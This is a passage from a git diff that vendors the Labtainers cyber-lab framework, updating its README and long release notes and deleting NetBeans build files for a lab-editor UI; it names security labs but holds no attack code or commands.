javax.swing.JDialog order_and_description; + private javax.swing.JButton save_OandD; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/resources/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/resources/labtainer5-sm.png new file mode 100644 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/resources/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/resources/saveButton.png b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/resources/saveButton.png new file mode 100644 index 000000000..a12b32f48 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/resources/saveButton.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/README.md b/modules/utilities/unix/labtainers/files/Labtainers-master/README.md index 4c6ceb356..31bd297d8 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/README.md +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/README.md @@ -1,20 +1,31 @@ Labtainers: A Docker-based cyber lab framework ============================================== -Labtainers include more than 45 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises. +Labtainers include more than 50 cyber lab exercises and tools to build your own. Import a single [VM appliance][vm-appliance] or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises. * Consistent lab execution environments and automated provisioning via Docker containers * Multi-component network topologies on a modestly performing laptop computer * Automated assessment of student lab activity and progress * Individualized lab exercises to discourage sharing solutions -Labtainers provide controlled and consistent execution environments in which students perform labs entirely within the confines of their computer, regardless of the Linux distribution and packages installed on the student's computer. The only requirement is that the Linux system supports Docker. See the [Papers][Papers] for additional information about the framework. -The Labtainers website, and downloads (including VM appliances with Labtainers pre-installed) are at . +Labtainers provide controlled and consistent execution environments in which students perform labs entirely within the confines of their computer, regardless of the Linux distribution and packages installed on the student's computer. Labtainers run on our [VM appliance][vm-appliancee], or on any Linux +with Dockers installed. And Labtainers is available as cloud-based VMs, e.g., on Azure as described in the [Student Guide][student-guide]. -[Papers]: https://my.nps.edu/web/c3o/labtainers#papers +See the [Student Guide][student-guide] for installation and use, and the [Instructor Guide][instructor-guide] for student assessment. Developing and customizing +lab exercises is described in the [Designer Guide][designer-guide]. +See the [Papers][Papers] for additional information about the framework. +The Labtainers website, and downloads (including VM appliances with Labtainers pre-installed) are at . -Distribution created: mm/dd/yyyy -Revision: +[vm-appliance]: https://nps.edu/web/c3o/virtual-machine-images +[student-guide]: docs/student/labtainer-student.pdf +[instructor-guide]: docs/instructor/labtainer-instructor.pdf +[designer-guide]: docs/labdesigner/labdesigner.pdf +[Papers]: https://nps.edu/web/c3o/labtainers#papers + +Distribution created: 11/22/2024 09:42
+Revision: v1.4.4e
+Commit: a3a40d0e
+Branch: master
## Content [Distribution and Use](#distribution-and-use) @@ -26,19 +37,8 @@ Revision: [Release notes](#release-notes) ## Distribution and Use -Labtainers was created by United States Government employees at -The Center for Cybersecurity and Cyber Operations (C3O) -at the Naval Postgraduate School NPS. Please note that within the -United States, copyright protection is not available for any works -created by United States Government employees, pursuant to Title 17 -United States Code Section 105. This software is in the public -domain and is not subject to copyright. - -However, several of the labs are derived from SEED labs from -Syracuse University, and include copyrighted and licensed elements -as set forth in their respective Lab Manuals. These labs include: -bufoverflow, capabilities, formatstring, local-dns, onewayhash, -retlibc, setuid-env, sql-inject, tcpip, webtrack, xforge and xsite. +Please see the licensing and distribution information +in the [docs/license.md file](docs/license.md). ## Guide to directories @@ -52,16 +52,23 @@ retlibc, setuid-env, sql-inject, tcpip, webtrack, xforge and xsite. * labs -- Files specific to each of the labs -* setup_scripts -- scripts for installing Labtainers and Docker and updating Labtainers +* setup\_scripts -- scripts for installing Labtainers and Docker and updating Labtainers * docs -- latex source for the labdesigner.pdf, and other documentation. + +* UI -- Labtainers lab editor source code (Java). + +* headless-lite -- scripts for managing Docker Workstation and cloud instances of Labtainers (systems +that do not have native X11 servers.) +* scripts/designer -- Tools for building new labs and managing base Docker images. + * config -- system-wide configuration settings (these are not the lab-specific configuration settings. * distrib -- distribution support scripts, e.g., for publishing labs to the Docker hub. -* testsets -- Test procedures and expected results. (Per-lab drivers for SimSec are not +* testsets -- Test procedures and expected results. (Per-lab drivers for SimLab are not distributed). * pkg-mirrors -- utility scripts for internal NPS package mirroring to reduce external @@ -82,6 +89,434 @@ The installation script and the update-designer.sh script set environment variab so you may want to logout/login, or start a new bash shell before using Labtainers the first time. +November 22, 2024 +- Replaced google cloud VM, this time due to a failure of systemd within containers. + +September 23, 2024 +- Replaced google cloud VM, which was using the wrong Docker version + +September 10, 2024 +- Typo in creation of imodule path + +July 26, 2024 +- Modify capinout to not use grantpt clib function, which now seems to crash when run from a container. + +July 22, 2024 +- Add a base container for Ubuntu22 and changes to framework to support that. + +July 5, 2024 +- Migrate to Ubuntu 24 as the VM appliance +- The docker pyhton package uses a broken python http library, requires package downgrade. +- Use virtual python environment to avoid Ubuntu lockdown of python packages. +- Add boot parameter to allow sharing systemd between containers and the VM. +- Redirect error messages from broken tar utility on updates. +- Ubuntu update breakage for msc packages (see update-ubuntu.sh) for version 18 VMs +- The docker-compose command is broken, use "docker compose" +- Force socket permissions in headless labtainers. +- Update headless Labtainers to use Ubuntu 24 + +November 27, 2023 +- Add Google Cloud Platform option for ubuntu22 on ec2 machine. + +September 18, 2023 +- Previous fix implementation was flawed. + +August 8, 2023 +- Handle change to DockerHub image json format. Thanks Kees! + +April 17, 2023 +- Force use latest lab version, e.g., iptables2 intead of iptables. Fix tab completion to only display latest. (Issue #77) +- CyberCIEGE lab installation was failing due to X11 race condition. (Issue #76) +- Note in CyberCIEGE readme to direct students to save collected logs in $HOME directory. (Issue #75) +- Radius lab checkwork was incorrectly reporting "radiusd not running", missing prestop script. (Issue #74) +- Labedit corrupted the start configuration file when the MACVLAN\_EXT option was used. (Issue #73) + +February 1, 2023 +- Bash history for non-default users was not being saved. +January 26, 2023 +- Modified powershell scripts for gcloud to use the selected zone to qualify VM names. +January 4, 2023 +- Containers using systemd were failing on newer systemd present in Ubuntu 22 +- Add --zone parameter to google cloud scripts, with value derived from the set\_defaults script. +December 21, 2022 +- Fix xforge results criteria to not expect pathname, and add check to see if POST issued to edit profile. And fix attacker + http server to run from the home directory. +December 19, 2022 +- Add strace lab to introduce system call tracing. +- X11 DISPLAY value was incorrect if multiple devices in the /tmp/.X11-unix directory. +- Use of python/bash/sh/etc with no arguments was causing capinout to crash. +December 9, 2022 +- Modify Azure vm creation script to use a prebuilt Labtainer VM image from the Azure Community Gallery. +- Terminals on cloud VMs crash for unknown reasons during startup or right click on the terminal. Attempt + to address by start/stop of a terminal. +December 5, 2022 +- When collecting artifacts, include modified files from directories of non-default users, e.g., their bash histories. +- Alter web assessment to display the new "other user" files. +- Include files from .local/bin on each container in artifacts. Intended to make these available to instructor via web assesment. +- In the ACL lab, include th /shared\_data/bob/fun file in the results for reference by the instructor. +- Catch use of "sh" or "bash" from command line and skip when parsing for given command, e.g., as done with "time" or "sudo". +- In the tcpip lab, could not ssh into the server during subsequent lab sessions, the /run/sshd directory was not being remade. +November 16, 2022 +- Fix path to Snort Manual in snort lab. +- In ossec manual,fix path to manage\_agents +October 12, 2022 +- Google cloud remove background operator from gnome-terminal command, still crashes on right click + but seems stable after running a newterm.sh. +October 10, 2022 +- Fix Google cloud newterm.sh; expand that boot disk to 30G. +September 20, 2022 +- Note user id and password for TCP/IP lab in the lab manual. +August 30, 2022 +- Use the X11 socket name when setting DISPLAY from a container's .profile +August 9, 2022 +- Fix name of processValueMax function in grader. Issue #63 + +August 4, 2022 +- The labedit program was rebuilt with the wrong JDK, preventing older JREs from running labedit + +July 18, 2022 +- Creation of Ubuntu20-based containers was failing within IModules. Issue #61. + +March 23, 2022 +- Fix path to tap lock directory; was causing failure of labs using network taps +- Update plc-traffic netmon computer to have openjfx needed for new grassmarlin in java environment +- Speed up lab startup by avoiding chown -R, which is very slow in docker. +- Another shot at avoiding deletion of the X11 link in container /tmp directory. +- Fix webtrack counting of sites visited and remove live-headers goal, that tool is no longer available. + Clarified some lab manual steps. + +March 2, 2022 +- Add new ssh-tunnel lab (thanks GWD!) +- Fix labedit failure to reflect X11 value set by new\_lab\_setup +- Add option to not parameterize a container + +February 23, 2022 +- labedit was corrupting start.config after addition of new containers +- Incorrect path to student guide in the student README file; dynamically change for cloud configs +- Incorrect extension to update-labtainer.sh +- Msc guide enahancements +- Update the ghidra lab to include version 10.1.2 of Ghidra + +February 15, 2022 +- Revert Azure cloud support to provision for each student. Azure discourages sharing resources. + +January 24, 2022 +- Azure cloud now uses image stored in an Azure blob instead of provisioning for each student. +- Added support for Google Cloud. + +January 19, 2022 +- Introduce Labtainers on the Azure cloud. See the Student Guide for details on how to use this. + +January 3, 2022 +- Revise setuid-env lab to add better assessment; simlab testing and avoid sighup in the printenv child. +- Fix assessment goal count directive to exclude result tag values of false. +- Do not require labname when using gradelab -a with a grader started with the debug option. +- Revise capinout (stdin/stdout mirroring) to handle orphaning of command process children, improved documentation +and error handling. +- Added display of progress bars of docker images being pulled when a lab is first run. +- User feedback on progress of container initialization. +- The pcap-lib lab was missing a notify file needed for automated assessment; Remove extraneous step from Lab Manual. + +November 23, 2021 +- Disable ubuntu popup errors on test VM. +- Fix handling of different DISPLAY variable formats. + +October 22, 2021 +- Revise the tcpip lab guide to note a successful syn-flood attack is not possible. Fix its automated assessment and add SimLab scripts. +- Change artifact file extension from zip to lab, and add a preamble to confuse GUI file managers. Students were opening the zip and submitting its guts. +- Make the -r option to gradelab the default, add a -c option for cumulative use of grader. +- Modify refresh\_mirror to refer to the local release date to avoid frequent queries of DockerHub. Each such query counts as an image pull, +and they are now trying to monetize those. + +September 30, 2021 +- Change bufoverflow lab guide and grading to not expect success with ASLR turned on, assess whether it was run. +- Error handling for web grader for cases where student lacks results. +- Print warning when deprecated lab is run. +- Change formatstring grading to remove unused "\_leaked\_secret" description and clarify value of leaked\_no\_scanf. +- Also change formatstring grading to allow any name for the vulnerable executable. + +September 29, 2021 +- Gradelab error handling, reduce instances of crashes due to bad zip files. +- Limit stdout artifact files to 1MB + +September 17, 2021 +- Ghidra lab guide had wrong IP address, was not remade from source. + +September 14, 2021 +- Example labs for LDAP and Mariadb using SSL. Intended as templates for new labs. +- Handle Mariadb log format +- Add per-container parameters to limit CPU use or pin container to CPU set. +- Labpack creation now available via a GUI (makepackui). +- Tab completion for the labtainer, labpack and gradelab commands. +- New parallel computing lab ``parallel'' using MPI. + +August 3, 2021 +- Add a "WAIT\_FOR" configuration option to cause a container to delay parameterization until +another container completes its parameterization. +- Support for Mariadb log formats in results parsing +- Remove support for Mac and Windows use of Docker Desktop. That product is too unstable for us to support. +- Supress stderr messages when user uses built-in bash commands such as "which". +- Bug fixes to makepack/labpack programs. + +July 19, 2021 +- Add a DNS lab to introduce the DNS protocol and configuration. +- Revised VirtualBox appliance image to start with the correct update script. +- Split resolv.conf nameserver parameter out of the lab\_gw configuration field into its own value. +- IModule command failed if run before any labs had been started. + +July 5, 2021 +- Errors in DISPLAY env variable management broke GUI applications on Docker Desktop. + +July 1, 2021 +- Support Mac package installation of headless Labtainers. +- The routing-basics lab automated assessment failed due to lack of treataslocal files +- Correct typos and incorrect addresses in routing-basics lab, and fix automated assessment. +- Assessment of pcapanalysis was failing. + +June 10, 2021 +- All lab manual PDFs are now in the github repo +- Convert vpnlab and vpnlab2 instructions to PDF lab manuals. + +May 25, 2021 +- Add searchable keywords to each lab. See "labtainer -h" for usage. +- Expand routing-basics lab and lab manual +- Remove routing-basics2 lab, it is now redundant. +- sudo on some containers failed because hostnames remove underscores, leading to mismatch + with the hosts file. Fix with extra entry in the hosts file with container name sans underscore. +- New Labpack feature to package a collection of labs, and makepack tool to create Labpacks. +- Error check for /sbin directory when using ubuntu20 -- would be silently fatal. +- New network-basics lab + +May 5, 2021 +- Introduce a new users lab to introduce user/group management +- Surpress Apparmor host messages in centos container syslogs + +April 28, 2021 +- New base2 images lacked man pages. Used unminimize to restore them in the base image. +- Introduce a OSSEC host-based IDS lab. + +April 13, 2021 +- CyberCIEGE lab failed because X11 socket was not relocated prior to starting Wine via fixlocal. + +April 9, 2021 +- New gdb-cpp tutorial lab for using GDB on a simple C++ program. +- Floating point exceptions were revealing use of exec\_wrap.sh for stdin/stdout mirroring. + +April 7, 2021 +- ldap lab failed when moved to Ubuntu 20. Problem traced to problem with nscd cache of pwd. Move ldap to Ubuntu 20 + +March 23, 2021 +- Parameterizing with RANDOM did not include the upper bound. +- Add optional step parameter to RANDOM, e.g., to ensure word boundaries. +- db-access lab: add mysql-workbench to database computer. +- New overrun lab to illustrate memory references beyond bounds of c data structures. +- New printf lab to introduce memory references made by the printf function. + +March 19, 2021 +- gradelab ignore makdirs error, problem with Windows rmtree on shared folders. +- gradelab handle spaces in student zip file names. +- gradelab handle zip file names from Moodle, including build downloads. + +March 12, 2021 +- labedit UI: Remove old wireshark image from list of base images. +- labedit UI: Increase some font sizes. +- grader web interface failed to display lab manuals if the manual name does not follow naming conventions. + +March 11, 2021 +- labedit UI add registry setting in new global lab configuration panel. + +March 10, 2021 +- labedit UI fixes to not build if syntax error in lab +- labedit UI "Lab running" indicator fix to reflect current lab. + +March 8, 2021 +- Deprecate use of HOST\_HOME\_XFER, all labs use directory per the labtainer.config file. +- Add documentation comment to start.config for REGISTRY and BASE\_REGISTRY + +March 5, 2021 +- Error handling on gradelab web interface when missing results. +- labedit addition of precheck, msc bug fixes. + +February 26, 2021 +- The dmz-example lab had errors in routing and setup of dnsmasq on some components. + +February 18, 2021 +- UI was rebuilding images because it was updating file times without cause +- Clean up UI code to remove some redundant data copies. + +February 14, 2021 +- Add local build option to UI +- Create empty faux\_init for centos6 bases. + +February 11, 2021 +- Fix UI handling of editing files. Revise layout and eliminate unused fields. +- Add ubuntu20 base2 base configuration along with ssh2, network2 and wireshark2 +- The new wireshark solves the prolem of black/noise windows. +- Map /tmp/.X11-unix to /var/tmp and create a link. Needed for ubuntu20 (was deleting /tmp?) and may fix others. + +February 4, 2021 +- Add SIZE option to results artifacts +- Simplify wireshark-intro assessment and parameterization and add PDF lab manual. +- Provide parameter list values to pregrade.sh script as environment variables +- enable X11 on the grader +- put update-designer.sh into users path. + +January 19, 2021 +- Change management of README date/rev to update file in source repo. +- Introduce GUI for creating/editing labs -- see labedit command. + +December 21, 2020 +- The gradelab function failed when zip files were copied from a VirtualBox shared folder. +- Update Instructor Guide to describe management of student zip files on host computers. + +December 4, 2020 +- Transition distribution of tar to GitHub releaese artifacts +- Eliminate seperate designer tar file, use git repo tarball. +- Testing of grader web functions for analysis of student lab artifacts +- Clear logs from full smoketest and delete grader container in removelab command. + +December 1, 2020 +- The iptables2 lab assessment relied on random ports being "unknown" to nmap. +- Use a sync diretory to delay smoketests from starting prior to lab startup. +- Begin integrating Lab designer UI elements. + +October 13, 2020 +- Headless configuraions for running on Docker Desktop on Macs & Windows +- Headless server support, cloud-config file for cloud deployments +- Testing support for headless configurations +- Force mynotify to wait until rc.local runs on boot +- Improve mynotify service ability to merge output into single timestamp +- Python3 for stopgrade script +- SimLab now uses docker top rather than system ps + +September 26, 2020 +- Clean up the stoplab scripts to ignore non-lab containers +- Add db-access database access control lab for controlles sharing of a mysql db. + +September 17, 2020 +- The macs-hash lab was unable to run Leafpad due to the X11 setting. +- Grader logging was being redirected to the wrong log file, now captures errors from instructor.py +- Copy instructor.log from grader to the host logs directory if there is an error. + +August 28, 2020 +- Fix install script to use python3-pip and fix broken scripts: getinfo.py and pull-all.py +- Registry logic was broken, test systems were not using the test registry, add development documentation. +- Add juiceshop and owasp base files for OWASP-based web security labs +- Remove unnecessary sudos from check\_nets +- Add CHECK\_OK documentation directive for automated assessment +- Change check\_nets to fix iptables and routing issues if so directed. + +August 12, 2020 +- Add timeout to prestop scripts +- Add quiz and checkwork to dmz-lab +- Restarting the dmz-lab without -r option broke routing out of the ISP. +- Allow multiple files for time\_delim results. + +August 6, 2020 +- Bug in error handling when X11 socket is missing +- Commas in quiz questions led to parse errors +- Add quiz and checkwork to iptables2 lab + +July 28, 2020 +- Add quiz support -- these are guidance quizzes, not assessment quizzes. See the designer guide. +- Add current-state assessment for use with the checkwork command. + +July 21, 2020 +- Add testsets/bin to designer's path +- Designer guide corrections and explainations for IModule steps. +- Add RANGE\_REGEX result type for defining time ranges using regular expressions on log entries. +- Check that X11 socket exists if it is needed when starting a lab. +- Add base image for mysql +- Handle mysql log timestamp formats in results parsing. + +June 15, 2020 +- New base image contianing the Bird open source router +- Add bird-bgp Border Gateway Protocol lab. +- Add bird-ospf Open Shortest Path First routing protocol. +- Improve handling of DNS changes, external access from some containers was blocked in some sites. +- Add section to Instructor Guide on using Labtainers in environments lacking Internet access. + +May 21, 2020 +- Move all repositories to the Docker Hub labtainers registry +- Support mounts defined in the start.config to allow persistent software installs +- Change ida lab to use persistent installation of IDA -- new name is ida2 +- Add cgc lab for exploration of over 200 vulnerable services from the DARPA Cyber Grand Challenge +- Add type\_string command to SimLab +- Add netflow lab for use of NetFlow network traffic analysis +- Add 64-bit versions of the bufoverflow and the formatstring labs + +April 9, 2020 +- Grader failed assessment of CONTAINS and FILE\_REGX conditions when wildcards were used for file selection. +- Include hints for using hexedit in the symlab lab. +- Add hash\_equal operator and hash-goals.py to automated assessment to avoid publishing expected answers in configuration files. +- Automated assessment for the pcap-lib lab. + +April 7, 2020 +- Logs have been moved to $LABTAINER\_DIR/logs +- Other cleanup to permit rebuilds and tests using Jenkins, including use of unique temporary directories for builds +- Move build support functions out of labutils into build.py +- Add pcap-lib lab for PCAP library based development of traffic analysis programs + +March 13, 2020 +- Add plc-traffic lab for use of GrassMarlin with traffic generated during the lab. +- Introduce ability to add "tap" containers to collect PCAPs from selected networks. +- Update GNS3 documentation for external access to containers, and use of dummy\_hcd to + simulate USB drives. +- Change kali template to use faux\_init rather than attempting to use systemd. +- Moving distributions (tar files) to box.com +- Change SimLab use of netstat to not do a dns lookup. + +February 26, 2020 +- If labtainer command does not find lab, suggest that user run update-labtainer.sh +- Add support preliminary support for a network tap component to view all network traffic. +- Script to fetch lab images to prep VMs that will be used without internet. +- Provide username and password for nmap-discovery lab. + +February 18, 2020 +- Inherit the DISPLAY environment variable from the host (e.g., VM) instead of assuming :0 + +February 14, 2020 +- Add Ghidra software reverse engineering introduction exercise. + +February 11, 2020 +- Update guides to describe remote access to containers withing GNS3 environments +- Hide selected components and links within GNS3. +- Figures in the webtrack lab guide were not visible; typos in this and nmap-ssh + +February 6, 2020 +- Introduce function to remotely manage containers, e.g., push files. +- Add GNS3 environment function to simulate insertion of a USB drive. +- Improve handling of Docker build errors. + +February 3, 2020 +- On the metasploit lab, the postgresql service was not running on the victim. +- Merge the IModule manual content into the Lab Designer guide. +- More IModule support. + +January 27, 2020 +- Introduce initial support for IModules (instructor-developed labs). See docs/imodules.pdf. +- Fix broken LABTAINER\_DIR env variable within update-labtainer +- Fix access mode on accounting.txt file in ACL lab (had become rw-r-r). Use explicit chmod in fixlocal.sh. + +January 14, 2020 +- Port framework and gradelab to Python3 (existing Python2 labs will not change) + - Use backward compatible random.seed options + - Hack non-compatable randint to return old values + - Continue to support python2 for platforms that lack python3 (or those such as the + older VM appliance that include python 3.5.2, which breaks random.seed compatability). + - Add rebuild alias for rebuild.py that will select python2 if needed. +- Centos-based labs manpages were failing; use mandb within base docker file +- dmz-lab netmask for DMZ network was wrong (caught by python3); as was IP address of inner gateway in lab manual +- ghex removed from centos labs -- no longer easily supported by centos 7 +- file-deletion lab must be completed without rebooting the VM, note this in the Lab Manual. +- Add NO\_GW switch to start.config to disable default gateways on containers. +- Metasploit lab, crashes host VM if runs as privileged; long delays on su if systemd enabled; so run without systemd. + Remove use of database from lab manual, configure to use new no\_gw switch +- Update file headers for licensing/terms; add consolidated license file. +- Modify publish.py to default to use of test registry, use -d to force use of default\_registry +- Revise source control procedures to use different test registry for each branch, and use a premaster +branch for final testing of a release. + October 9, 2019 - Remove dnsmasq from dns component in the dmz-lab. Was causing bind to fail on some installations. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/build.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/build.xml deleted file mode 100644 index 91517e999..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/build.xml +++ /dev/null @@ -1,73 +0,0 @@ - - - - - - - - - - - Builds, tests, and runs the project GoalsUI_Sep13. - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/manifest.mf b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/manifest.mf deleted file mode 100644 index 1574df4a2..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/manifest.mf +++ /dev/null @@ -1,3 +0,0 @@ -Manifest-Version: 1.0 -X-COMMENT: Main-Class will be added automatically by build - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/build-impl.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/build-impl.xml deleted file mode 100644 index 5497c9c60..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/build-impl.xml +++ /dev/null @@ -1,1420 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must set src.dir - Must set test.src.dir - Must set build.dir - Must set dist.dir - Must set build.classes.dir - Must set dist.javadoc.dir - Must set build.test.classes.dir - Must set build.test.results.dir - Must set build.classes.excludes - Must set dist.jar - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must set javac.includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - No tests executed. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must set JVM to use for profiling in profiler.info.jvm - Must set profiler agent JVM arguments in profiler.info.jvmargs.agent - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select some files in the IDE or set javac.includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - To run this application from the command line without Ant, try: - - java -jar "${dist.jar.resolved}" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select one file in the IDE or set run.class - - - - Must select one file in the IDE or set run.class - - - - - - - - - - - - - - - - - - - - - - - Must select one file in the IDE or set debug.class - - - - - Must select one file in the IDE or set debug.class - - - - - Must set fix.includes - - - - - - - - - - This target only works when run from inside the NetBeans IDE. - - - - - - - - - Must select one file in the IDE or set profile.class - This target only works when run from inside the NetBeans IDE. - - - - - - - - - This target only works when run from inside the NetBeans IDE. - - - - - - - - - - - - - This target only works when run from inside the NetBeans IDE. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select one file in the IDE or set run.class - - - - - - Must select some files in the IDE or set test.includes - - - - - Must select one file in the IDE or set run.class - - - - - Must select one file in the IDE or set applet.url - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select some files in the IDE or set javac.includes - - - - - - - - - - - - - - - - - - - - Some tests failed; see details above. - - - - - - - - - Must select some files in the IDE or set test.includes - - - - Some tests failed; see details above. - - - - Must select some files in the IDE or set test.class - Must select some method in the IDE or set test.method - - - - Some tests failed; see details above. - - - - - Must select one file in the IDE or set test.class - - - - Must select one file in the IDE or set test.class - Must select some method in the IDE or set test.method - - - - - - - - - - - - - - Must select one file in the IDE or set applet.url - - - - - - - - - Must select one file in the IDE or set applet.url - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/genfiles.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/genfiles.properties deleted file mode 100644 index bee36be94..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/genfiles.properties +++ /dev/null @@ -1,8 +0,0 @@ -build.xml.data.CRC32=eec53d04 -build.xml.script.CRC32=e676bb1d -build.xml.stylesheet.CRC32=8064a381@1.80.1.48 -# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. -# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. -nbproject/build-impl.xml.data.CRC32=eec53d04 -nbproject/build-impl.xml.script.CRC32=4d702800 -nbproject/build-impl.xml.stylesheet.CRC32=830a3534@1.80.1.48 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/private/private.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/private/private.properties deleted file mode 100644 index 9436b19f6..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/private/private.properties +++ /dev/null @@ -1,2 +0,0 @@ -compile.on.save=true -user.properties.file=C:\\Users\\Dan\\AppData\\Roaming\\NetBeans\\8.2\\build.properties diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.properties deleted file mode 100644 index 73526481e..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.properties +++ /dev/null @@ -1,75 +0,0 @@ -annotation.processing.enabled=true -annotation.processing.enabled.in.editor=false -annotation.processing.processor.options= -annotation.processing.processors.list= -annotation.processing.run.all.processors=true -annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output -build.classes.dir=${build.dir}/classes -build.classes.excludes=**/*.java,**/*.form -# This directory is removed when the project is cleaned: -build.dir=build -build.generated.dir=${build.dir}/generated -build.generated.sources.dir=${build.dir}/generated-sources -# Only compile against the classpath explicitly listed here: -build.sysclasspath=ignore -build.test.classes.dir=${build.dir}/test/classes -build.test.results.dir=${build.dir}/test/results -# Uncomment to specify the preferred debugger connection transport: -#debug.transport=dt_socket -debug.classpath=\ - ${run.classpath} -debug.test.classpath=\ - ${run.test.classpath} -# Files in build.classes.dir which should be excluded from distribution jar -dist.archive.excludes= -# This directory is removed when the project is cleaned: -dist.dir=dist -dist.jar=${dist.dir}/GoalsUI_Sep13.jar -dist.javadoc.dir=${dist.dir}/javadoc -excludes= -includes=** -jar.compress=false -javac.classpath=\ - ${libs.absolutelayout.classpath} -# Space-separated list of extra javac options -javac.compilerargs= -javac.deprecation=false -javac.external.vm=true -javac.processorpath=\ - ${javac.classpath} -javac.source=1.8 -javac.target=1.8 -javac.test.classpath=\ - ${javac.classpath}:\ - ${build.classes.dir} -javac.test.processorpath=\ - ${javac.test.classpath} -javadoc.additionalparam= -javadoc.author=false -javadoc.encoding=${source.encoding} -javadoc.noindex=false -javadoc.nonavbar=false -javadoc.notree=false -javadoc.private=false -javadoc.splitindex=true -javadoc.use=true -javadoc.version=false -javadoc.windowtitle= -main.class=GoalsUI.GoalsUI -manifest.file=manifest.mf -meta.inf.dir=${src.dir}/META-INF -mkdist.disabled=false -platform.active=default_platform -run.classpath=\ - ${javac.classpath}:\ - ${build.classes.dir} -# Space-separated list of JVM arguments used when running the project. -# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value. -# To set system properties for unit tests define test-sys-prop.name=value: -run.jvmargs= -run.test.classpath=\ - ${javac.test.classpath}:\ - ${build.test.classes.dir} -source.encoding=UTF-8 -src.dir=src -test.src.dir=test diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.xml deleted file mode 100644 index a1ebdf5c8..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.xml +++ /dev/null @@ -1,15 +0,0 @@ - - - org.netbeans.modules.java.j2seproject - - - GoalsUI_Sep13 - - - - - - - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.java deleted file mode 